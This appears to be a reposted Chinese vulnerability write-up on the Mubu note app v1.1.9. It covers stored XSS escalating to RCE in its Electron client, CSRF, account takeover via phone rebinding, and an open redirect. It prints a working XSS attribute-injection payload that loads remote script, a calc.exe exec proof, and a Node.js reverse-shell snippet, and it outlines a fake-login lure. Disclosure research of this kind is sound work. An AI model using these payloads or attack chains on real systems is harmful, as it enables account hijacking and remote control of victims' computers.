幕布V1.1.9最新版漏洞集合


0X00 前言

幕布本人最早接觸是在P神的知識星球里面看到P神推薦的,后來下了個用着還挺好用。

之前一直都放一些零零散散的筆記,最近整理的時候,一時興起,本着漏洞源於生活的態度,遂對幕布的安全性做了些研究。

 

0x01 背景

幕布是一款頭腦管理工具,用更高效的方式和清晰的結構來記錄筆記、管理任務、制定工作計划、頭腦風暴。用最好的方式釋放您的大腦!

令人覺得舒服的是,就算是免費版也支持多平台同步,相對比其他軟件這個很良心了,還支持多種格式導出,支持腦圖演示。

 

0x02 前世

早在17年,棟棟的棟師傅就對幕布的1.1.0版本進行了研究,發現了多個CSRF,如保存文檔,創建文件夾等。搜索框反射XSS,文件夾名XSS,文檔名稱XSS(在查看思維導圖的時候觸發),昵稱存儲XSS等。

由於幕布使用Electron來開發,導致我們只要一XSS即可執行任意命令。

根據棟師傅的文章,我測了一下,發現現階段1.1.9版本的搜索框XSS依舊可行。

 

同樣文件夾名的存儲XSS也是存在的,點擊文件夾即可觸發

文檔名XSS(在查看腦圖的時候觸發)這個已經修復了。

XSSRCE其攻擊鏈如下:

 

0X03 今生

基於上面的了解,我知道幕布應該有多個功能點存在CSRF和XSS,找到漏洞並不難,難的是找到一個較為完美的利用鏈。

棟師傅的分享文檔,昵稱XSS,創建文檔然后腦圖查看觸發,我感覺這個利用鏈有點復雜,且PAYLOAD過於明顯。 

經過一番思考,覺得攻擊點還是應該放在分享文檔頁面中,這里是與別人交互的唯一入口(目前來說)。

分享文檔頁面中包括了什么呢?

 

 

經測試,頭像處做了過濾,昵稱的XSS也已經修復了,目標放到標題和正文。

標題一番測試之后也是過濾了,那么只有正文了,為了更好的測試,特地開了一個月的高級會員,高級會員可以插入圖片,想通過圖片文件名的方式引入XSS,但發現被過濾了。

中間還測了幕布的標簽,但沒有效果。(留待白盒審計其解釋原理)

不放棄,繼續研究,看到保存文檔的請求包

會發現有一個叫id的參數,回到頁面,F12檢查,發現這個id值是作為id屬性的值,作為節點解析使用。

直覺告訴我這里應該會有問題。閉合雙引號,div標簽,彈個框試一下。

好的,成功彈框了。

 

 

但是彈完之后,正文把后面錯亂的標簽代碼顯示出來了。

后面要做的就是把PAYLAOD完善,不讓錯亂代碼顯示出來,讓這個插入了惡意代碼的文檔表現的像一個正常文檔一樣。   

而且這里的觸發點堪稱完美,只需要用戶打開文檔,減少觸發的步驟。

通過分享文檔或者投稿到精選,其他用戶登陸狀態下瀏覽,然后觸發XSS,直到在客戶端查看觸發RCE。

這里有一個問題是分享鏈接都是公開的,別人不需要登陸即可查看,但為了能夠利用,我們必須讓用戶登陸;

還有一個問題是用戶在PC的客戶端里面沒辦法直接查看精選頁面和分享頁面,默認是通過PC瀏覽器打開頁面的。(PS:通過PC客戶端的”幕布精選”菜單訪問的話,會自動登陸上賬號,這里還有一個任意URL跳轉的問題)

那么是否可以達到用戶點擊鏈接,就能夠直接觸發RCE呢?

因為這里存在跨端的問題,從瀏覽器跨到幕布客戶端,需要一個橋梁。我想到的橋梁是利用Custom URL Scheme來拉起幕布,讓幕布去渲染這個帶有XSS的文檔然后觸發RCE。

但逆向了一下幕布的源碼,發現它沒有注冊相關的URl,所以這個思路行不通,但難免幕布后續更新會加入自己的URL Scheme。

現階段只能是通過”自動同步”這個橋梁,將我們的惡意文檔帶入到客戶端中去,然后等待用戶查看觸發了,這個點是最為致命的點了。

根據現有狀況,我的攻擊思路如下:

被動方式:用戶登陸態下,把我們這個“豐富”的文檔保存到自己的賬號下,在客戶端查看時觸發RCE。

主動方式:創建一個登陸頁面的彈框,誘導用戶登錄,只允許其登陸之后訪問分享文檔。然后再利用XSS創建一個文檔,等待用戶在客戶端查看。

總結一下其利用鏈如下:

當然這里是以RCE為目的,也可以XSS打賬號密碼等其他方式,那樣就可以隨時掌控用戶的賬號,查看其私密文檔,創建惡意文檔,等待其查看,觸發RCE,控制目標電腦。

分析講完了,下面是驗證過程,首先我們需要讓文檔看起來是正常的,那么就不能像之前的PAYLOAD一樣,得利用div標簽的事件來觸發。主要是onclick onmouseover事件。我這里用的是onmouseover事件。

" onmouseover="s=createElement('script');body.appendChild(s);s.src='https://xsspt/xxx'

文檔看起來就跟正常文檔一樣,觸發的話需要用戶鼠標懸浮在DIV上面。Web端有no-referrer-when-downgrade限制,需要使用httpsJS。客戶端則不用,最好直接用https的一了百了。

windows客戶端打開,彈個計算器

彈計算器的代碼:

require('child_process').exec('calc.exe')

Mac客戶端,反彈個shell

 

 

反彈shell的代碼

var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect({set.port}, "{set.ip}", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

關於electron rce 可以在查看這篇文章

 

0x04 番外

邏輯缺陷

繞過原手機號驗證,綁定新手機號,接管帳號

修改手機號正常流程是需要原手機號的驗證碼驗證的

 但我們正常走一遍流程,把綁定新手機號的請求抓出來會發現,根本不需要原手機號的驗證碼。

 我們剛開始的手機號為132

第一步給要綁定的手機號發送驗證碼

 

第二部用獲取的驗證碼請求綁定

 

 

刷新設置頁面,會發現已經綁定成功了。

其中第一步任何其他用戶發送即可,獲取到驗證碼,然后創建一個頁面,騙取目標用戶去訪問,利用CSRF攻擊,接管其賬號。

 

繞過微信驗證,解綁微信

比如我們綁定了微信,就可以用微信登陸了,正常解綁微信是需要,微信驗證一下的,但是我們發現把解綁微信的請求抓出來,直接就可以解綁了,且存在CSRF。

正常流程來說是這樣走的。

抓到解綁微信的請求如下:

然后發一下包就可以解綁微信了

刷新設置頁面,發現已經解綁成功了

 至於綁定微信,需要獲取state參數,需要發送請求,只能是XSS來利用了,所以有了XSS,我就可以獲取這個state參數,自己構造參數綁定微信到目標用戶賬號上。

 

任意URL跳轉

主要是客戶端幕布精選跳轉到瀏覽器里面自動登陸的請求:

在客戶端點擊”幕布精選”菜單,抓到這樣的請求:

https://mubu.com/client_redirect?token=xxx&next=/explore

其中next這個可以填寫我們自己的第三方鏈接,token正確與否不要緊,甚至去掉這個參數都會跳轉。

 

CSRF (所見之處皆可CSRF

設置昵稱

設置昵稱的請求為POST請求:

但修改為GET請求,一樣可以。

 

經測試原來所有修改,添加,更新操作為POST的請求,都可以用GET請求來發送。

創建文檔

這里只可以用來創建一個空的文檔,創建一個有內容的文檔需要經過幾個步驟,需要有XSS才能創建有內容的文檔。

綁定手機號

 解邦微信

 

0x05 總結

這篇文章記錄了對幕布安全性的研究和一些攻擊思路,上述所有漏洞均已報備幕布官方,請勿用作非法攻擊。

有些圖看不太清,放個原版文檔鏈接

博客占坑~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM